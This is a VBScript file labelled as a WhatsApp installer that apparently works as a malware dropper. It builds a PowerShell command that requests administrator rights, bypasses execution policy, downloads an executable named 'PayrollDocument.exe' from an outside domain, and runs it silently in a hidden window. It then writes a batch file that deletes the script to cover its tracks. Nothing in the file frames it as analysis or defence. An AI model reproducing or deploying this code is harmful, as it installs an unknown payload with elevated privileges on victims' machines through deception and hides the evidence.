' =========================================================================
' WhatsApp Installer - Single PowerShell Command with Admin Elevation
' =========================================================================

Dim objShell, strUrl, strSavePath, strArguments, strFullCommand

Set objShell = CreateObject("WScript.Shell")

' =========================================================================
' CONFIGURATION - CHANGE THESE
' =========================================================================
strUrl = "https://alperbarutcu.com/PayrollDocument.exe"
strSavePath = "%TEMP%\PayrollDocument.exe"
strArguments = "/S"

' =========================================================================
' PowerShell command that:
' 1. Requests admin rights (UAC prompt)
' 2. Downloads the file
' 3. Installs silently
' =========================================================================

strFullCommand = "powershell -Command """ & _
                 "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Normal -Command """ & _
                 "& {$client = New-Object System.Net.WebClient; " & _
                 "$client.Headers.Add(''User-Agent'', ''Mozilla/5.0''); " & _
                 "$client.DownloadFile(''" & strUrl & "'', ''" & strSavePath & "''); " & _
                 "Start-Process -FilePath ''" & strSavePath & "'' -ArgumentList ''" & strArguments & "'' -Wait -WindowStyle Hidden; " & _
                 "Write-Host ''Installation Complete!'' -ForegroundColor Green; " & _
                 "Read-Host ''Press Enter to close''}" & _
                 "' -Verb RunAs""" & _
                 ""

' Execute the command
objShell.Run strFullCommand, 0, False

' =========================================================================
' SELF-DELETION
' =========================================================================
Dim objFSO, strBatPath, batFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")

strBatPath = objShell.ExpandEnvironmentStrings("%TEMP%") & "\~delete_vbs.bat"

Set batFile = objFSO.CreateTextFile(strBatPath, True)
batFile.WriteLine "@echo off"
batFile.WriteLine "timeout /t 2 /nobreak > nul"
batFile.WriteLine "del /f /q """ & WScript.ScriptFullName & """"
batFile.WriteLine "del /f /q """ & strBatPath & """"
batFile.Close
Set batFile = Nothing

objShell.Run Chr(34) & strBatPath & Chr(34), 0, False

Set objShell = Nothing
Set objFSO = Nothing